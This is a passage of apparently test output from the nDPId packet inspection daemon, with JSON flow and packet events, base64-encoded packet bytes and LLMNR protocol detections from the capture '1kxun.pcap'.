qy4vDxRCV5kCNsb3v5Vy0SieDA4YOEE8bqWIvYCQt+lElw4E08ivlJNyqgjNfW2\/wC\/hVW4rgdtGxNxOGaWPDxpnWRgM52IvY2pKLGyJHh8hUFxmJJsCcxGvpVJYRhOJ4SMvnDSjL3CoUZgdLk9aXhZZBgEYCzrY+XaNes5Jt2Jtm6nF8K0RclwRoRlNKe2nE4xYyB2U1gBe9gR+f60mwgCjIxtYMVzDYXufyt51fDOi8RgRMxGbc\/vpa\/jehyk6TC2EEzJDCFaVQUDsYwed9Tp5CiLK\/OXFjXW+bw8KXM7XwqBxGHhW5bYanf0ohlmGvtcOuu41sQP0qKFYwJMwKdpM+bN\/wAwGwsCQQSN9BUJM6xxqHZAyBrg21LW1+FLJiZPazEZVkADm62tfITUFpZVg7NQfs1vdgNSzAUmm+Uh2OHEsunau29yG05Wq+ZJj2UkhkVtwdeR5+FqWnx0rDtRDlCBlYhgQCR\/j514CZOII0gCq1wBmB1C+FGjvgexYJGkC9k8kedjdo2IY2tpc36158M5JtxDHDUDW\/0paGQNBhyzlVDSEsNbWy1JmlkB+1kZrA6R315X9BTjshbBTHiEaEdvJOsj5ZFlJylbgaAis98LIsjIMPcAkA5+V6euC8aiaRwki5FMeXS4vy86TlkInk73325+NU5SSE2UGHm1vApHIZh9akYaQb4dT\/3D617tWv71NYUJJh5ndWbIVsVuSu+pH4fLWpUpt0F2AMLFUBgF1W3v7ak9fGoEDZrmJBprrTmM7KLBLKmRSwNzke+h5X2+NPTYPDxKGWLdlUglje7AczpvV1N\/BmOMOQb2jt0sas8ZtHZkGVbEZPEn9acEcPt8sXZlkMHaBbk2NxtbXnRJI4FkZVjiAvILG+Y2UbcvWlrP6FCnYIMM0puWUDUADX9kVeTDRr2dmezFRrpv\/wC\/lR4osO2FgZo1LskTMbXOpF+fS\/KluKIqHCrh40DSs62W2pBAHOoeKfdj\/CWiiXs8mbLLa+55gj5VaSCP2rsfdCx6XB1N\/nvQcFhu27USpIZI5FQojAZb7k0LuRS4xjZ48OSi3+8xNh58z8KXrn9C\/wCBmKCIzTCQWCWK2JGnx386GOzSUhgwF2Ta3I0Bwq4CGdGZnkcoV5A22q8vD+IRqD7OWvyVgSKFCdi\/0DTLBFjEiK2BXMddutz8DVUjgOIeOVMtiApZrFrki4uKjB4QYhH7VJXkXEdi6ow7gtqx+NKDJGmMlIEiRsYYiR7zEnX4AE+lNYpV2MZg7GeR1QMV1ykEi+1\/zpNscdAYwCosQb0zBgoJzw5e0c+1Z85ta2UbD8qXxkUMUGFnhzhMQrHK5BIsf81axtdipkY="} +01382{"flow_id":123,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1138,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":419934,"pkt_caplen":772,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":772,"pkt_l4_len":738,"pkt":"ABxCjnAxTF4M6gNlCABFAAL2itpAADsGz+DLRVFJwKgFEABQ0Xzxz\/Pn9giR3YAYA6v69AAAAQEIChuEXUsaD5mvDYNhY4ZleNoiQC0bFWW97GwJvcnw2o7JCVYZ4u8b6wSEDw93bn5611lRXSWcopw8EnbCNXKkMiQwMDmGo1IFhtehYM2jgzZ4ZYAy9+FmR1JJ5a31PyrsK9SoKOYDkOH9pjzBMt\/Z5et77b3AqokEUkc5cyvFfIscDjMeVybaCupvXqWqCjlYZnfDLEzvAVQIwaFiHANwQRrVy0hsfbRe1v8A48nUHp4V09TRqLU5h53VGJlec65EjgZQCVK3JI2sdqHA5MCKxeF0XIS8LMGFyRYjUHvH611dRRqGpy5F1K+1IFJvb2aS1um3+dB0FXkxUi5JGkM7xg5Vjw7LckWuSRXTVF6NQ1ORw7McOIpGlgZGJV+yLAg2uDYXB0GtFXtEvl4iwva\/2Mh2Nx92umLG+9RmPWjVBqc0rlJElkxUk+RgwRIXBY9LkCkiZ2ZmaKS7Ek907muyuetezHrScExOJxpEpH\/Kk\/tNM4LEHCpIxw+IaZ+7ovdy3F\/jvXVXPWvXPWhQSBQo5zGY8TwYlEixxM5GkmqpY30HKnJeL4aUAHB4wWYNcRDkwPXwrXueteuetVRVHMnHsJJZEwcrFoViUOgI03vpRpeKs7kph8UEKvcZQAzMABew2GvjXQXPWvXPWigo5yPiZSGOP2TE92NFJCjdQRzB60HiGMGKfDMmDnyxMzusi+8SQSNOWldTc9a9c9aKCjkoMY8JlU8PZ42kEqp3hkI2qmKnlxEQUYeVS0jSy9w2LHa3gB+ZrsLnrU3PWihUcX2s\/sseHGHkHZyGQPlNQmI4hEWMb4pS3ve9r4+ddrc1IB5mlqGpx2Exk2Hi7OTAvPabt1ZswIe2\/jQsZNNiFjVcNKveaSTuEZnY3PwtYCu4r1Oh0cXBjcVB7Hkwjk4UuQSrd7NvQsZNNiVhjTBvDFCCEQBm331NdxU0UFH\/2Q=="} +00427{"flow_id":123,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1139,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":419954,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlYMVHBbyMCABFAAA0REFAAEAGFDzAqAUQy0VRSdF8AFD2CJHd8c\/2qYAQDx0WlQAAAQEIChoPmbgbhF1L"} +02394{"flow_id":122,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1140,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":419972,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ABxCjnAxTF4M6gNlCABFAAXcD\/tAADsGR9rLRVFJwKgFEABQ0Xu\/8GldqDEL24AQA6so6QAAAQEIChuEXUsaD5mvMLZCsDyBPDO4+2K1Y50njSZAQCdLKwwVPQjqDTRnNJ7oGRk1PKl2u4k99gvqwFeW9gb3XDf6SDWmpLlmQztVhS4u4uWo\/Cre1Rjir\/IfeoebGvI0hjlQnGe0bU54Ry\/\/AAqovIf+\/wCQ+9AuZFuJ0KsVQRSRscjUNWNwPhWbzY\/ZaRpQyxTKWikSQA4JVgcGqQXdvdM6wyh2TBIwRWV2dHHYxOGZy8nv6CuMb44+tT2cVsBKRHJNJKxLOWUbcudLuw9lG1jNQRSB7Tm\/dsyf\/wAn2FVbtaVeNpp9WP2o7sPYth50V10uMjIPxByKD7HBhF0nCAgb9eNJ\/wB8N\/lR\/wAxqP72kJ8MUfzNHdgwUmuGPtbxsoDBjjf3yOWOXlUC2hGrwe9nO53ycn54pA9qTDjHEPn96j+9J\/8AphHwP3o7sA1v2PSlLKzlkUnSikjUc4PKsTsKAy3aMw2jBkb1PAfX6UTtC9murbuMKQ7ANoB4edRYyTW0bFDoLnJyu+Bw40nkjyUn8W\/Zv4qApNY5vbg8Z2+GBQ2vZwD+2k\/np95eEZm2qnRkDdzsfz+VXEYVkGNgDXOm7lwP2h2GBmQ172h2ictKpwR1PWl3Poq0dGQBIudgQfy\/rVWZGcqXUALjiOJ\/X1rmjcLkePP+la97QuMESHPHlRrfodmolv2f3V7i6iKzKQ\/u+DGQTt+thUpa2Mts0Md2rLqO4I2ypXh8SawkSIRPHiRgyhePCjQyCMEAO2WJ3NNzFqNO4tbC6ghtFvIz3DEjVhm2z4dsbfaryxWF3OtwtyupCD4dxkZHDp9qxo0jQt+zcqQVIO2xz96vAO4B0xk5AHiwMYz96WsVmsvsS9pvKt0\/fk94UwSuMY6dPjVbj2G6iit1vAvdNkhVG4z0GMbisoBlujcCPc\/u8QPP1qIUaBvAcAjABGw3z+dHcCzZnmtjepKLkpLjCrjIxz2z7x6npw2qkUvZ0N27h3eQuzaSeBPHbhnBx6VkuC8wkJQ4ByCmc8PsKkR6HSZJG8YZjg7ZLH7Uaws1Ibm1s5WbvJT3wA0sBxHMb7cfrtjhV27RtluCQjiVwNS7DV058axplMjqTjwncMM5HT61Ux5m7zxDcEgeWMfgKXcYrNfs2+s7O1jZ00GUFi6pyDad\/pWrLd28UQleZAjcDnOfSuWiUTwWNsHCCeN1LEZwBIW\/KiS24E08ivpJOSqgjVnfHH9fCnbith20bE3acM0sdvGmtZGA1ngRnBxSUV7IkdvoKguNRJOATqI3+VUlhFp2naRl9YaUafAVCjUDtknrS8LLILBGAw64Pp3jZrOSbdibZup2vatEXJcEbEaTSntpubxYyB3U2ABnOAR+P50mwgCjQxxgMV1DgM5P4Y9avbOi9owImojVxP66Yz55ocpOkwthBMyQwhWlUFA7GMHnnc7egoiyvzluxvvnV5eVLmds2qBxGHhXJbgNzx+VEMsw39rh334jfBA\/KooVjAk1Ap3kz6tX+IDgYBIIJHHYVCTOscah2QMgbIONy2N\/hSyXMntZiMqyABzlcYzoJqC0sqwd2oP7Nc5YDcswFJpvdIdjhuWXbvXbjkhtuWKvqSY91JIZFbiDvyPPyxS099Kw70Q6QgZWIYEAkf0+teAmTtBGkAVWyANQO4Xyo0O9h6iwSNIF7p5I9bHLRsQxxjbJz1rz2zknHaF8NwN8\/aloZA0FuWcqoaQlhvjGmpM0sgP7WRmwDtHnfln5CnHUhagpjuEaEd\/JOsj6ZFlJ0lcgbZFZ720iyMgt8gEgHXyz609kF41E0jhJF0KY9O2Rnl60nLIRPJ4v325+dU5SSE2UFvNvmBSOQ1D714W8g426n\/1D71Petn3qatQklvM7qzaCuCuSV47kf9PpvUqU26BMWEDc4B\/P\/WrpA2h8xIM6efrTV53UVksqaFI="} +01843{"flow_id":122,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1141,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":419989,"pkt_caplen":1112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1112,"pkt_l4_len":1078,"pkt":"ABxCjnAxTF4M6gNlCABFAARKD\/xAADsGSWvLRVFJwKgFEABQ0Xu\/8G8FqDEL24AYA6sY9AAAAQEIChuEXUsaD5mvwOTofOx5Z4fGnprS3hUFY9i6qQSxzlgOZ86up\/Q6MYwEbkR+mDUmIg5DIPRDTwjhN\/LF3RZDB3gXJOCSOGN+dEkjgWRlWOIDMgwc6jhRw5fOp0z9j8GdhRxYE+S4qpI8604o4GtYC0almSJm5ncjPPpnlSvaiqhtVt0UNKzrhcbkEAc6HjlzYqF\/QfWoJI5L8Q1Gsrczd6sqSNJHIqFEYDTniTQsrFLdsfHHbkouf3mJwPzPwpaJCIVlzltPoAfvXjLEBw+lQ+FsIZ0dmeRyhXkDjhV5bDtGNQfZy2eSsCRRpkAM3EWfdNRJcRaY\/AGOk8eXiNMWVoJ0bvElaRbjuWWNgNAxux+NKjRGl5KQJEjYwxEj3mJO\/wAACflVKDCmUa6UDZMehNVN7g+4PnTcFnDM3ZyiWQ+1a9ZG2NI4D8KWvY4Y4LWeHWFuFY6XIJGD\/WnoCmRZsGtY4ZleNoiQC0bFWXOcHAJzkny4UdkhKsNcXiOd4JCB5e7w5+u9dZUV0Ghyim3gk74Rq5UhkSGBgdQ3G5AwOGaFZnEcGrXDLAGXxwsyOpJPLfO5+ldhXqVBRzAchw\/tMeoJpz7PL1znhxyBVRIIpI5y5leLOhY4HGo8sk42FdTmvUtKCjlYZne2WJneAqgRg0LEOAcggjerlpDg+2jOMf8Al5OoPTyrp6mjSLScw87qjEyvOd9CRwMoBKlckkcMHhQ4HJgRWLwui6CXhZgwySMEbg+I\/eurqKNIaTlyMqV9qQKTnHs0mMdOH9dh0FXkupF0SNIZ3jB0rHbsuSRjJJFdNUZo0hpORt2Y24ikaWBkYlX7osCDjIOBkHYb0Ve8TOntFhnGf2Mh4HI\/drpixzxqNR60aUGk5pXKSJLJdST6GDBEhcFj0yQKSJnZmZopMsST4TxNdlk9a9qPWk4JicTjSJSP8KT+U0zZXBtUkY29w0z+HZfDpyM\/HjXVZPWvZPWhQSBQo5y8vxPBcokV8TORtJuqYOdhypyXte2lABs7wYYNkRDkwPXyrXyeteyetVRVHMm\/YSSyJZysWhWJQ6AjbjnajS9qs7kpb3QQq+RpADMwAGcDgN\/OugyeteyetFBRzkfaZSGOP2S58MaKSFHFQRzB60HtC8F09syWc+mJmd1kX3iSCRty2rqcnrXsnrRQUclBePCZVPZ7PG0glVPENBHCqXU8txEFFvKpaRpZfAcFjwx5Afia7DJ61OT1ooVHF97P7LHbi3kHdyGQPpNQlx2hEWMb3Slve97fz9a7XJqQDzNLSGk460vJreLu5LF58Td+rNqBD44+dCvJprhY1W2lXxNJJ4CNTscn4YwBXcV6nQ6OLgvbqD2PRaOTalyCVbxauNCvJprlYY0s3hihBCIAzceO5ruKmigo\/9k="} +00427{"flow_id":122,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1142,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":420005,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlYMVHBbyMCABFAAA0RVFAAEAGEyzAqAUQy0VRSdF7AFCoMQvbv\/BzG4AQDxKf6AAAAQEIChoPmbgbhF1L"} +02326{"flow_id":119,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1143,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":478013,"pkt_caplen":1464,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1464,"pkt_l4_len":1430,"pkt":"ABxCjnAxTF4M6gNlCABFAAWqwvlAAFgGHmsfDVckwKgFEAG70UwEnaJ1\/FJz6IAQAQw5RgAAAQEICl\/vE5kaD5lCFwMDBsBWGfjqdL8BL49XfpJ803PwOgxLqyOxBVJuv8CYN\/sh7yZF3RsL4P\/EHjqzbR2gQS+\/KLfcEe4lPeTfOx\/S6P2IyaSHPWtMuwRiieIluAshKdAD9Iv+zKGVgVjkp4BS7M4eX14GcyeFUotD\/EN9O8dRbUeMziZXWTVBbNAkTWeJGjl+2WgDVCotkAsqMCGRXC3g1lL1caS6eN\/PDNwAPXvSi4i1ctNiFyOcCQimNyYEyPKk8oYmvt5N1RI0tRznxl7kHMa3EfLcW1bva935wyhEu9w6OQHKpQSj75WS5BPx\/jmjjhD9tbKWXR1awjOIHUnf7pXtuQxBdZX\/1rxaDPHC0KuGvh0ToKVwSA9TNth9vc6k94RmCI4SNOeYTm5ebjFYZd3hlnHvheWrQRK2VZaTeEccf1wDLJjz6iigXFvaML0D4Yqb+4z44SBB3\/h7pViBZiXPfcg9myWMTd2+fSXXuuSRjLF9JfebNRX2yYzQl82ldT9PbwcJD5ijdLUV3+nDtxMYUqGRKhrvgBjgrniU76I2x4emXupTJVzanR5bAw1UrEU8p6wFk\/KVFnanE2fX5yx80yMMMlIpTIQ0KkP9xo9kcyVxRecmVfhIh7MfEAxNBXbT735KzXH7vWDB\/TcIbm7\/DQc1iQvuUvx9ZIFWuHExUyq44j\/gnC1crMx1wqF\/XR\/eVKg3ez8L5CHWDk8JdzqBalpU0NwD\/9S5P9X6ymnFp3Dp2olcHXv+FzqUzgiY7VG6H3AfnfZhMA+urYcE6QWpRwDQ+gA++3\/QC1wVYmCpsbMMfC3YQJeY5XA1DpfB3RPay0FgbtqJ796+EUbUC6FYG65BzcFLXRATiVgpCWOw1yTjejA8O+tRZjA8MHBOA+huvzEBbA5yobMloYWIOWSF+7ofBcCyOpXbT4fqSidcTQiqG901o9mP5zHoY3jGE9SP1KmZkJWumHLMcAQfLig9AJwr0sz5QMQx1wQUluooLKVzP1bglLUINCBHKiVO7imw5V0lXLL6cRV+lnpB8L3sY4aErpbEIzwJFAqu4rAcHpO2BStA+Pgnakurs57ZXim2AwPsJfP46pq6p0BXPiy6EJZzxHkis+Smeq0PZQKR6T5kRmp\/UWyQ7jPhrTO3QxI7jy0BVgLKXkoJDMb5U5f7RK9drnWRGZm4LCdF9o+To1GAsxe0BU4WjuycUUqBgbd2FB2\/zFNRgoyLDiJpzsFCa4M7\/HuWPJMMC6xC0vRcsqDoyfL+Z3CYXq\/b+2R6yNs\/qP2PdFlHGO0HLVEK3F0MpJl4uMd7KR8Veu786ZeFbfKxj2I4YP3GIBCGeAe+yxkpeaHDU3iotPRz4vDKJ9cJokjxySkkKe5Eo7UpWz5LFZ5pXFbeTtDEPfAwxqKiQze0WPNV7tvhLzblF+HMcLswdE\/8fEF8h0+XtXrQwmF3t\/OrOX9BAkn4ypbmKI7u4WJmALhAIwHVdymtxNArou742zwXedb6PeOZVMY7Z8fPrhBtqxlKq7dGwJT\/VOB\/QmBzLCZ1yUV8M7rTQDMry\/tkp1mKtnyiwbV+XMTnw0hJhz+6bwq1vmRBc0EiRrlvwpRSQt+glnBw+s9z5Jlk2ZLzv43UgqsY03851g+pc0sSEF53ZdllY4K2JwOe2O16f7aF9ohwTMFqSF4Vh4K\/fPWwGizBX4SlgJqRfBo36aGxuE87iUu4TH21xV5Njl8IlQD1NCO7D9PRN3ocX1s7xvwNWuS0UT1krwHJ4rbqRdmqB0x49U4LGSkdaLTVQXdsvz29pdnHj7RHe3w1SurC7Wce14kRAifs+t7nwUm617wdeL7ZsgHiR2PHOR0ab+3\/oM+DsAxkFUTo5kX52S0D"} +01107{"flow_id":119,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1144,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":478069,"pkt_caplen":566,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":566,"pkt_l4_len":532,"pkt":"ABxCjnAxTF4M6gNlCABFAAIowvpAAFgGIewfDVckwKgFEAG70UwEnafr\/FJz6IAYAQz2lQAAAQEICl\/vE5kaD5lCEkI3s7ezbA0KsxWFylitnEisi\/1WLsF1qjPa7iGQuq5Ii86fkcbgeV+yzX7yXDN6g5HZHR5qYaQJB3cy8Ut8gL9cwo\/rDTMMe7+ab4fuCRfU83aY+QLCmV1MAj4H\/6UAOPRbz9i\/5gaFaXinPQLNuR1jZdnFEqoH9ZtmF8Byx+9Zzajw3+B1747zxBXs33DDWxyPbk3rmhEG3nE0Zq25sN36\/YNLWQRZJmXnW6cv9911qVr4XndCAe8Xwe2UNNW0qAKo+7GljMPkNBXE+vdLZUECCGr95jXu7THTjRbhooBRmAvte6G4ELRtcJJCPpXsBxZrT4BBSZV437dev9Uefsht7tMuE1ubKlx4DIhoa+d3MgXehoksquabDu86lvDEdBqGgnyYFK7c42WjCOuSgUB0Lu+aCClwVRGzkB+2UsMjs1LABIQ+ARPR0hNcS84XAwMAoCnZwfgTzf3baa+eFw+RMYkG9nIs2QBIgHUNI8z2fldqVl7ep7S\/DO4dafUbaWictQzNxALgWaW1L6asJ3WxICVGPVolDMpOglTys2TwISnmYOgRy8TjAL\/K8KkVV52OSmFH2rQq0BHYxtBSOYf3dmw5EQwb3NSvOr4fQSc\/ZQHsz3NZyjNBNwXKBQpMVz8y8c2\/1ERSWkCk2rHvu+AiWIw="} +00425{"flow_id":119,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1145,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":478143,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlYMVHBbyMCABFAAA0vQZAAEAGQdTAqAUQHw1XJNFMAbv8UnPoBJ2p34AQD8QRxwAAAQEIChoPmfFf7xOZ"} +00584{"flow_id":82,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1149,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":604155,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6bEAIlAI6CABFAAClU+oAAAERr4vAqAUw7\/\/\/+sIlB2wAkY1JTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00811{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1151,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":908112,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/TF4M6gNlCABFAAFIAAAAABARcfzAqHcB\/\/\/\/\/wBDAEQBNEsLAgEGAENEXMkAAAAAwKgFLcCoBS3AqHcBAAAAAOCsy3Hh0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqHcBMwQAAAA8AQT\/\/wAAAwTAqHcBBhCoXwEBCAgICKhfwAEICAQE\/wAAAAAAAAAAAAAAAAAA"} +00581{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1157,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104415,"pkt_ts_usec":421267,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYzEACABFAAChOx4AAAERyF\/AqAUs7\/\/\/+si9B2wAjdLxTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00584{"flow_id":12,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1161,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104415,"pkt_ts_usec":729545,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6zD2CHu7jCABFAAClQL0AAAQRv7nAqAUv7\/\/\/+utrB2wAkWQETS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00812{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1169,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104416,"pkt_ts_usec":751443,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/TF4M6gNlCABFAAFIAAAAABARcfzAqHcB\/\/\/\/\/wBDAEQBNFupAgEGAI6VUSoAAAAAwKgFCcCoBQnAqHcBAAAAAHDxofgq\/QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqHcBMwQAAAA8AQT\/\/wAAAwTAqHcBBhCoXwEBCAgICKhfwAEICAQE\/wAAAAAAAAAAAAAAAAAA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1171,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":1470104416855,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.101.33","dst_ip":"224.0.0.252","src_port":62822,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":124,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1171,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104416,"pkt_ts_usec":855491,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"AQBeAAD8uKxvwfbSCABFAAA3J2UAAAERi4vAqGUh4AAA\/PVmFOsAI\/xOWbQAAAABAAAAAAAACUpvYW5uYS1QQwAA\/wAB"} +00509{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1171,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":1470104416855,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.101.33","dst_ip":"224.0.0.252","src_port":62822,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1172,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_first_seen":1470104416855,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.9","dst_ip":"224.0.0.252","src_port":62822,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":125,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1172,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104416,"pkt_ts_usec":855715,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"AQBeAAD8cPGh+Cr9CABFAAA3CxAAAAERB\/nAqAUJ4AAA\/PVmFOsAI1xnWbQAAAABAAAAAAAACUpvYW5uYS1QQwAA\/wAB"} +00506{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1172,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_first_seen":1470104416855,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.9","dst_ip":"224.0.0.252","src_port":62822,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00432{"flow_id":124,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1173,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104416,"pkt_ts_usec":958909,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"AQBeAAD8uKxvwfbSCABFAAA3J2cAAAERi4nAqGUh4AAA\/PVmFOsAI\/xOWbQAAAABAAAAAAAACUpvYW5uYS1QQwAA\/wAB"} 